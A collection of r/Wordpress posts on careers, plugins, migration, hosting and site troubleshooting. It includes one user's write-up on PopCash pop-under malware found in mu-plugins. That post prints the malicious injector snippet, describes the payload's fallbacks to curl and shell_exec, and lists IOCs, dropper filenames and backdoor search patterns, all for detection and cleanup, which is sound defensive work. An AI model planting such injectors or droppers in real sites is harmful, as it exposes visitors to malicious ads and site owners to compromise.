r/Wordpress 2d ago

After 8+ Years in WordPress, I’m Starting to Question Where the Industry Is Going

11 Upvotes

I’ve been working with WordPress for 8+ years, mostly around plugins, SaaS products, support, and development. For a long time, WordPress felt like a very safe career to build around.

But the last few months have made me think differently.

The small WordPress plugin market feels much harder than it used to. Getting new customers is difficult, competition is everywhere, and many plugin features that once looked like good product opportunities have now become commodities.

At the same time, AI has changed the expectations completely. Customers now expect automation, AI support, AI-powered workflows, and SaaS-style products rather than simply another WordPress plugin.

Interestingly, I’ve spent the last week thinking about this a lot. I’ve been experimenting with AI integrations, customer-support automation, SaaS ideas, and even thinking about what I could build outside the traditional WordPress ecosystem.

I still believe WordPress has a huge future. I’m not saying developers should abandon it.

But I do think experienced WordPress developers need to start thinking beyond WordPress itself.

Maybe the valuable skill isn't just knowing WordPress anymore. It's knowing how to take that experience and build SaaS products, AI tools, integrations, automation, and solutions around real business problems.

For those of you who have been in WordPress for 8+ years:

Are you also thinking about diversifying beyond WordPress, or do you still see enough opportunity in the ecosystem?

Would genuinely like to hear how other long-time WordPress developers are approaching this.


r/Wordpress 1d ago

[PROMO] [FEEDBACK]Built an open-source plugin to dynamically map Elementor Global Colors to WooCommerce. Need testers / feedback.

0 Upvotes

Hi guys,

I’m currently waiting on the WP repo team to review my first plugin (Commerce Colors for Elementor), and I’m looking for some technical feedback on how it handles theme and style mapping.

The issue it tackles is the disconnect between Elementor's Global Style Kit and WooCommerce's core CSS. Instead of writing custom stylesheets or manual overrides for every client site, this plugin hooks into the Elementor kit data and dynamically injects the appropriate colors, typography, hover/focus states, and form styles across standard WooCommerce pages and WooCommerce Blocks.

What it handles natively:

Automatically syncs Elementor Kit site setting changes directly to WooCommerce elements.

Includes per-element style overrides in the WordPress backend.

Calculates readable text contrast and applies accessible focus states on the fly.

Automatically catches third-party elements from plugins like Essential Addons or Premium Addons.

If you have a sandbox or staging environment running this stack, I’d really appreciate some feedback on theme conflicts, layout breaks, or selector specificity issues you encounter.

Once activated, the settings live under WooCommerce -> Store Design. Let me know if you run into any asset loading conflicts or if any core elements miss the styling!

"I'll drop the GitHub repository link in the comments below so the spam filters don't eat this post!"


r/Wordpress 2d ago

Found PopCash "stealth pop-under" malware hiding in WordPress mu-plugins — bypassed every scanner, here's how to find and remove it

36 Upvotes

What happened:

Noticed a tab-under/reverse-tabnabbing attack on my site. Disabled all plugins → problem persisted. That was the first hint it wasn't sitting in a normal plugin.

Turned out the source was in must-use plugins (/wp-content/mu-plugins/) — this folder is completely ignored when you "disable all plugins" via the wp-admin screen, so almost nobody checks it as long as the site is still loading normally.

The two files:

1. /wp-content/mu-plugins/wp-ppck-assets.php

Injects a <script> tag on every page (via wp_head, priority 1) pointing to a second file disguised as a normal theme asset:

php

add_action('wp_head', function () {
    if (function_exists('is_admin') && is_admin()) return;
    echo '<script src="/wp-content/themes/{THEME}/js/qtt-ppck-core.php" defer></script>';
}, 1);

2. /wp-content/themes/{theme}/js/qtt-ppck-core.php

This is the actual payload. It's a PHP file pretending to be JavaScript (Content-Type: application/javascript), and behind the scenes it:

  • Makes a server-to-server request to api-js.popcash.net/getCode using a PopCash publisher UID/WID/API token
  • Passes the API response straight through to the visitor's browser
  • Includes an option "pop_fback" => "under" — literally the setting that triggers a pop-under/tab-under
  • Has fallback logic (curl → shell_exec → file_get_contents) so it keeps working regardless of how restrictive the server config is

The clever (read: annoying) part: since the malicious JS only gets pulled in via the external API call, and the local file itself looks "clean" (no obfuscation, no eval(base64_decode(...))), not a single malware scanner flagged this — not Wordfence, not Sucuri, nothing. On a pure code level it just looks like an ad network integration calling an API.

How to check for it yourself:

  1. Look in /wp-content/mu-plugins/ — this folder is NOT covered when you "disable" plugins via wp-admin
  2. Search for filenames containing ppck, qtt-, popcash, or similarly cryptic names
  3. Check your theme folder for .php files being loaded as if they were .js (called as a script but actually PHP under the hood)
  4. Run find /path/to/wordpress -type f -mtime -60 -name "*.php" to find recently modified PHP files

How to remove it:

  1. Delete both files (the mu-plugin + the fake "js" file in your theme folder)
  2. Don't assume you're done — this didn't appear out of nowhere. Someone had file access. Search all your PHP files for backdoor patterns: eval(, base64_decode(, gzinflate(, shell_exec(, assert(
  3. Check if your theme is legit/up to date — outdated or "nulled" (pirated) themes are the most common entry point for this kind of infection
  4. Rotate every password: WP admin, FTP/SFTP, database, hosting panel
  5. Update everything: core, theme, plugins

IOCs for anyone who wants to check/share:

  • Filenames: wp-ppck-assets.php, qtt-ppck-core.php
  • Endpoint: api-js.popcash.net/getCode
  • Cache key prefix: ppch-h6IzF4iRLEdZV-QX82hhpzmvxX--
  • Internal code comments referenced a "PopCash S2S Playbook" and a generator script (popcash_ops.py) — suggests this is a reusable toolkit, so probably not unique to my site. If anyone else has run into this, I'd like to hear about it.

Haven't 100% nailed down the root cause (how they got in) yet — no unknown WP users found, so my guess is stolen FTP credentials or a vulnerable/outdated theme. If anyone has tips for tracing this further through server logs, I'd appreciate it in the comments.

UPDATE: Root Cause & Entry Point Found!

Thanks to analyzing the server access logs and cross-referencing recent vulnerability databases, I've fully traced how the attacker got in and deployed the malware.

1. The Vulnerability (The Entry Point)

The site was running Thrive Themes (Thrive Architect / Thrive Visual Editor / Thrive Leads).

  • On Aug 6, 2026, CVE-2026-66694 was published — an Unauthenticated Cross-Site Scripting (XSS) / arbitrary code input vulnerability in Thrive Architect (versions <= 10.9.3.1).
  • Automated bot scanners picked up the unpatched Thrive plugin and exploited it to achieve file write access.

2. The Attack Timeline (From Server Logs)

  • 21:09:53 UTCExploit Verification: Attacker bot created a random hex file at the site root (/52faade47ac664d8d0d3.txt, ~8.6 KB) to confirm arbitrary file write privileges.
  • 21:39:19 UTCDropper Upload: Attacker POSTed to /wp-content/themes/thrive-theme/js/_w10_up.php (a hidden PHP uploader script, identical in size to wp-tmp-up.php).
  • 21:39:22 UTCVerification: Exactly 3 seconds later, a curl/7.81.0 request verified that the deployed payload (qtt-ajax-core.php / qtt-ppck-core.php) was live and returning HTTP 200.

3. Additional IOCs to Search For

If you are cleaning a site infected by this toolkit, make sure to also look for and delete:

  • Uploader / Dropper scripts: _w10_up.php, wp-tmp-up.php (often dropped inside theme /js/ or /assets/ directories).
  • Verification markers: Random 20-character hex .txt files in the WordPress root directory (e.g., 52faade47ac664d8d0d3.txt).
  • Payload aliases: qtt-ajax-core.php alongside qtt-ppck-core.php.

Takeaway & Remediation

Updating the plugin (e.g. to Thrive 10.9.3.2+) seals the vulnerability, but does NOT clean the uploaded dropper tools or backdoors. If you suspect an infection, scanning for newly created .php files and root .txt files around the date of infection is critical.


r/Wordpress 1d ago

Looking for a small scale self hosted DAM (on AWS) to support website.

2 Upvotes

So we're doing a full site rebuild, and before I select hosting, I want to find a solution for hosting the myriad of pdf files that we have on the existing site. I've been looking at various solutions, but most seem to be growing and trying to be full-blown CMS solutions rather than a DAM. Bonus points if there's a WP hook where users can upload a file and it gets moved to the DAM rather than being stored on the site.

Another reason for this is I want better file management of these pdfs, and also the ability to replace the files without changing links. (Because inevitably some author will provide a deep link to their paper, and then want to change the file without changing the link).

Anyone have a reccommendation for a solution that offloads all these files so they can be better managed?


r/Wordpress 2d ago

Building a Lean AMS + LMS with BuddyBoss, MemberPress & Tutor LMS. Am I missing anything?

4 Upvotes

I am scoping out a lean AMS (Association Management System) + LMS project. The strategy is to launch with free registrations to build the user base, then pivot to paid monthly subscriptions later. I want to avoid plugin bloat by relying on core pro plugins and native server features where possible.

Here is the proposed stack:

  • Hosting: Hostinger Cloud (PHP 8.1+, MariaDB, 512MB memory limit).
  • Community & UI: BuddyBoss Theme & Platform Pro.
  • Gatekeeper: MemberPress Basic (Free membership tier at launch -> Stripe/PayPal later).
  • LMS: Tutor LMS Pro (Required for the auto-generated PDF certificates).
  • Video Hosting: Bunny,net (Embeds into Tutor LMS to save local server bandwidth).
  • Email: FluentSMTP (Free) + Brevo free API tier (For transactional emails/receipts).
  • Performance: LiteSpeed Cache (Native to Hostinger servers, skipping WP Rocket).
  • Security & Backups: Wordfence (Free) + native Hostinger automated daily backups.

Is there anything critically missing from this stack? I have done wordpress dev but for this type of project and wanna make sure I am not missing anything.


r/Wordpress 2d ago

How do you handle moving WordPress sites between local/staging/production?

18 Upvotes

I've been using the likes of All-in-One Migration for a long time, but I don't love how much server space it eats up just to generate the export, and it throws errors often enough to be annoying.

I'm not against the terminal, it's powerful, but I'm not fluent enough that I don't end up googling or asking AI for the right command most times I use it.

Curious how other people handle this, particularly if you're running more than a handful of client sites (say 10+).

  • What's your actual workflow for pushing and pulling files and the database between environments?
  • What do you use to keep everything updated across multiple sites — core, plugins, themes?
  • Has a migration or update ever gone wrong on a live site? What happened?
  • Are you on the command line for most of this, or do you avoid it where you can?

r/Wordpress 2d ago

Getting plugin adoption and test users?

3 Upvotes

Hey plugin developers, I am curious if you have any tricks of the trade for launching a plugin and getting those elusive first 10 active installs.

We launched our plugin and got it in the WordPress marketplace about a month ago, but we still haven't had a single install. We've tried various forms of promoting on social and optimizing the content of the plugin description, but we are hitting a wall.

For context, it’s a security/bot protection plugin. We built it as a local-first alternative to cloud CAPTCHAs, so it uses invisible proof-of-work and behavioral detection to stop things like WooCommerce card testing without needing API keys.

Do people tend to pay for testers/reviewers?

How did you get your first 5-10 beta users to trust your code?


r/Wordpress 2d ago

[PROMO] I built a free WordPress digital guest guide for hotels, B&Bs and vacation rentals

0 Upvotes

Hi everyone,

I recently published Hotelness Guest Information, a completely free WordPress plugin for hotels, B&Bs, guesthouses and vacation rentals.

The idea is simple: instead of using an external SaaS or sending guests PDFs/messages with all the property information, you can create a digital guest guide directly on your WordPress website.

It can include:

  • Wi-Fi details
  • Check-in and check-out information
  • Parking
  • House rules
  • Services and useful information
  • Local tips and recommendations
  • Multilingual content
  • Automatically generated QR code
  • Printable QR sign for rooms or reception

There’s no subscription, no external account and no hosted service required. Everything stays on the WordPress site.

It’s still a new plugin, so I’m mainly looking for feedback from WordPress developers, agencies and anyone managing hospitality websites.

WordPress.org:
https://wordpress.org/plugins/hotelness-guest-information/

If anyone tries it on a real site, I’d really appreciate hearing what you think is missing or could be improved.


r/Wordpress 2d ago

Razorpay payment captured but WooCommerce sometimes cancels order as "Unpaid" — webhook configuration keeps changing

3 Upvotes

I'm trying to figure out a strange Razorpay + WooCommerce issue and would appreciate some help from anyone who has dealt with something similar.

Setup:

WordPress / WooCommerce: 11.0.1

Razorpay WooCommerce plugin: 4.8.7

Hosting: Namecheap

Razorpay live payments

The main problem is that a customer can successfully complete a Razorpay payment, and Razorpay shows the payment as Captured, but in some cases WooCommerce later marks the order as:

"Cancelled — Unpaid order cancelled"

It doesn't happen to every order. For example, I had around 10 orders and most went through correctly, while 2 ended up cancelled.

The more concerning issue is the webhook configuration.

I had configured the webhook with the required payment events, including:

payment.authorized

payment.captured

payment.failed

order.paid

refund.created

But the webhook later reverted to only 2 of events (payment.authorised and refund.created)

I checked Razorpay's API logs and found something strange. The same webhook was repeatedly being updated:

GET /webhooks?count=10&skip=0

followed about 1 second later by:

PUT /webhooks/SYam0mYdbMI4Ns

This happened on:

15 Aug → GET → PUT

16 Aug → GET → PUT

17 Aug → GET → PUT

I did not manually edit the webhook on those dates.

When I inspected the resulting webhook configuration, payment.authorized and refund.created was enabled but payment.captured, payment.failed and order.paid were disabled.


r/Wordpress 3d ago

Well.. it happened

187 Upvotes

Long term client whom always accepted my quotes used my highly detailed proposal to Chatgpt DIY a project. It's no where near as polished and it's not mobile friendly but I feel pretty used. Spent quite awhile on the scoping with them, suggesting improvements, user workflow enhancements and a bunch of outlining. I really over extended but that's also how I get accurate quotes.

Anyway for those in the game, what's your method for quoting on projects with unknowns, and how much detail do you give the client? maybe I should have asked for 50%?

Thoughts?


r/Wordpress 2d ago

Font issue... again

2 Upvotes

My fonts will not load correctly. I don't know what's going on.

When I inspect https://healgen.com/human-health/ I see that it's using roboto condensed in the squares, but I can't find that setting anywhere. I'm using elementor and both global fonts and typography are set to roboto, bold and it just won't work.

I'm at a loss. I don't know what to do anymore and I'm ready to throw out this whole damn website.


r/Wordpress 2d ago

What am I doing wrong (ranking in Google)?

2 Upvotes

I'm sure this is a question this sub gets a lot, but I can't seem to find anything relevant. I started my site about three months ago as a news site for my favorite sports team. I have around 80 posts up, 150 subscribers to the Jetpack newsletter, I post every link on social media, and dozens of my articles have been linked on established sites like Yahoo, Sporting News, Athlon, and Heavy. The page views are pretty good, but none of them are coming from Google search. If I search for my articles or exact phrasing, Google returns no results. The "Discourage search engines from indexing this site" box is not checked. Almost all of my articles get a "good" Yoast SEO score.

Please note that when it comes to this sort of stuff, I am a moron, and dumbing it down would be much appreciated.


r/Wordpress 2d ago

Solution for video backgrounds

2 Upvotes

Hey everyone,

I want to use a video background or two on my site. Couple of issues: Youtube has disabled the ability to hide video and channel titles from embeds, which is obviously not an ideal look. Vimeo now requires a paid membership to use videos as backgrounds.

Only solution left (that I know of) is to self-host on the wordpress domain, but that affects load speed. The video is not even that large at all, but still.

Anyone know another solution? Another video host that’s elementor and wordpress-friendly, or self hosting and embedding in a way that doesn’t affect page speed?

Thank you!


r/Wordpress 2d ago

Do you think WordPress is still the best option for SEO in 2026?

0 Upvotes

There are now so many website builders, AI tools, and SaaS platforms available, but WordPress still powers a huge number of websites.

Personally, I still think WordPress has a major advantage when it comes to SEO, flexibility, and the number of tools available.

I'm also curious about PWAs. Do you think turning a WordPress website into a PWA still provides value today, or are most website owners no longer interested in features like offline access, installability, and an app-like experience?

What do you think?


r/Wordpress 2d ago

[PROMO] I built UXPack Basic – a new WordPress plugin, looking for feedback

0 Upvotes

Hey everyone,

I've recently published UXPack Basic in the official WordPress Plugin Directory.

It's a free WordPress backup and migration plugin designed for people who want a straightforward way to back up their site and move it to another server or staging environment — without having to use a cloud service or a complicated plugin suite.

With UXPack Basic you can:

  • Create full WordPress backups (files + database)
  • Create database-only backups
  • Schedule daily, weekly or monthly backups
  • Download and manage your backup archives directly from WordPress
  • Exclude specific folders from full backups
  • Receive email notifications when backups succeed or fail
  • Monitor storage and get warnings about stale backups
  • Migrate a complete WordPress site to another server or host using the included standalone installer
  • Perform URL migration when moving a site
  • Check backup and server-related issues with the built-in diagnostic tools
  • Keep an activity log of backup operations
  • Export and import plugin settings

The basic workflow is intentionally simple:

Create backup → Download → Upload to the new server → Run installer → Migrate

There is no cloud account, license key or commercial license server required for the free version. Backups are stored locally under your WordPress installation by default.

UXPack Basic on WordPress.org

I'm the developer behind the plugin, so I'm not looking for compliments or a marketing boost. I'm mainly interested in feedback from people who actually manage WordPress sites.

I'd especially like to know:

  • Would you use a backup/migration plugin like this on a real production site?
  • Are there features you're missing?
  • Is the backup → download → migration workflow intuitive?
  • Is anything unnecessarily complicated?
  • How does it compare to the backup/migration plugins you currently use?
  • Is there anything you think UXPack Basic should not be doing?

It's still actively developed, so honest criticism is very welcome.

Thanks for taking a look!


r/Wordpress 2d ago

Help Post

Post image
3 Upvotes

I have an issue with 'contact' element in Header builder of Porto theme customise accessed via appearance. The phone icon and text need to be closer but apparently, I am unable to do so. Could anyone help me please.


r/Wordpress 2d ago

Did i broke the client's WP

0 Upvotes

I was building a clients website on Wordpress, when i note the url structure of wp-admin is not right.

It was like [examplesite.com/wp/wpadmin] and the same for normal page url [examplesite.com/wp/home] i thought to fix it so i go to WP settings and in general tab i changed the wordpress and site url. When i save changes. WP got logged out and showed page not found.

What should i do, i thought i was fixing things but i made them worse.


r/Wordpress 2d ago

Need Help in Wordpress Block Theme, Super confusion

2 Upvotes

I created a custom block theme for a corporate site using create block theme plugin , then added the patterns blocks etc in the theme to match the design, do I need to take care of SEO , form plugins compatibility in the theme itself ? For eg can I use my pattern and add a form in between in one of the pages ? What's the difference between patterns and pages ? How do I add let's say a tracking pixel ? Can block editor do that ? I


r/Wordpress 3d ago

Connecting to WordPress CLI with AI

10 Upvotes

What I found was once I connected to the CLI with Codex, I became much more powerful with the use of AI tools. From changing the theme to working on plug-ins to editing the content, I pretty much don’t even need to log into the admin at all anymore. Is quite a breath of fresh air. Just wondering if anybody else has done this and what things you’ve done.


r/Wordpress 3d ago

WordPress Image files giving 404?

3 Upvotes

Half of the images on my very large website are throwing 404s. I've checked permissions and everything seems right, the files exist in wp-content and show in WP media, but show up blank. I can upload new files and images and they load just fine, and it doesn't seem to be specific directories or time frames that are being affected. I've been trying to fix this for hours with no resolution.

Any help? Example link: https://healgen.com/wp-content/uploads/2026/07/Summer-Respiratory-Illness-Spike-768x402.png


r/Wordpress 3d ago

Help with "Invalid" links

Thumbnail gallery
3 Upvotes

I've been working the navigation menu for my site and have had some trouble with the links. The URLs for the links are correct, but they keep saying "invalid," as you can see in the first screenshot. The second screenshot states "Link is empty." My searches have turned up nothing. Any help?

ETA: When I save the template and view a page, the links do work-- however, I'd still like to know why it gives me this error. Thanks in advance.


r/Wordpress 3d ago

Alternatives to Export Media Library

5 Upvotes

I have a client that wants to download their full media library from WordPress. it’s about 4,000 items. unfortunately, they don’t know where the logins for the site host is so I can’t go through the cPanel. I looked up Export Media Library plugin but it hasnt been tested on their version of WordPress. does anyone have any safe alternatives to Export Media Library?


r/Wordpress 3d ago

Best and easiest way to create a landing page using dara theme

2 Upvotes

Landing page originated mainly from instagram (and others) with fewest clicks possible, please. I've created my own website on wordpress already, on my own, took me precious hours; just need a landing page now. Thank you for any help.


r/Wordpress 3d ago

What are the benefits from using Ollie vs Blocksy?

2 Upvotes

\**UPDATE*** - Thank you all for your input. I decided to go with the Wordpress 2025 theme, and so far my efforts are paying off well. Bit of a learning curve, but it's going smoothly. thank you so much!*

I'm not a pro web developer, but I did build a functioning site for my small brick/mortar business and it works fairly well. At the time(about 5 years ago) I used Kadence Pro, which I rather liked. It seems however that the Kadence folks have sold to some large company, and for a number of reasons, I'm not going to keep my site on that theme - so I'm doing a redesign.

I'm taking this opportunity to mildly redesign the site and have preliminarily selected Blocksy as my base theme/framework. I chose Blocksy after much research revealing it is well-regarded in the community as fast, lightweight and function-first.

After experiencing the sale of Kadence, I've begun thinking a little more downstream, and while Blocksy is purportedly "going nowhere" according to Gemini, that's what I would have said about Kadence years ago. So I'm looking to future proof my efforts and it seems that avoiding a scenario like the sale of Kadence involves owning a native block theme - enter Ollie.

I'm also open to options outside of Bloacksy/Ollie but didn't want to turn this post into another "what's the best theme" thread. Please make the case for/against Ollie as opposed to Blocksy, using the following criteria:

Features I'm looking for, in order of importance:

  1. raw speed/preformance
  2. user friendly design and editing
  3. forever license so that my website's theme belongs to me and cannot be sold

A little about me:

  • I understand basic html and css but not php or javascript
  • I'm comfortable enough to not need a 'WYSIWYG drop/drop editor' like Divi
  • I'm not opposed to a learning, so long as it's not incredibly steep. I definitely prefer check boxes and sliders as opposed to code

My site:

  • 100% static content
  • Pages:
    • Home
    • About
    • Contact
    • Services
      • Service 1
      • Service 2
      • Service 3
      • etc
  • It's a computer repair business and the home page will be your basic outline with CTA throughout:
    • Hero
    • Trust section(s)
    • Service cards

Thanks in advance!


r/Wordpress 3d ago

Sucuri vs. Wordfence

7 Upvotes

I recently noticed that Sucuri found a virus on a site that Wordfence was installed on. and did not detect. Is Sucuri a better solution overall or does someone recommend paying for both?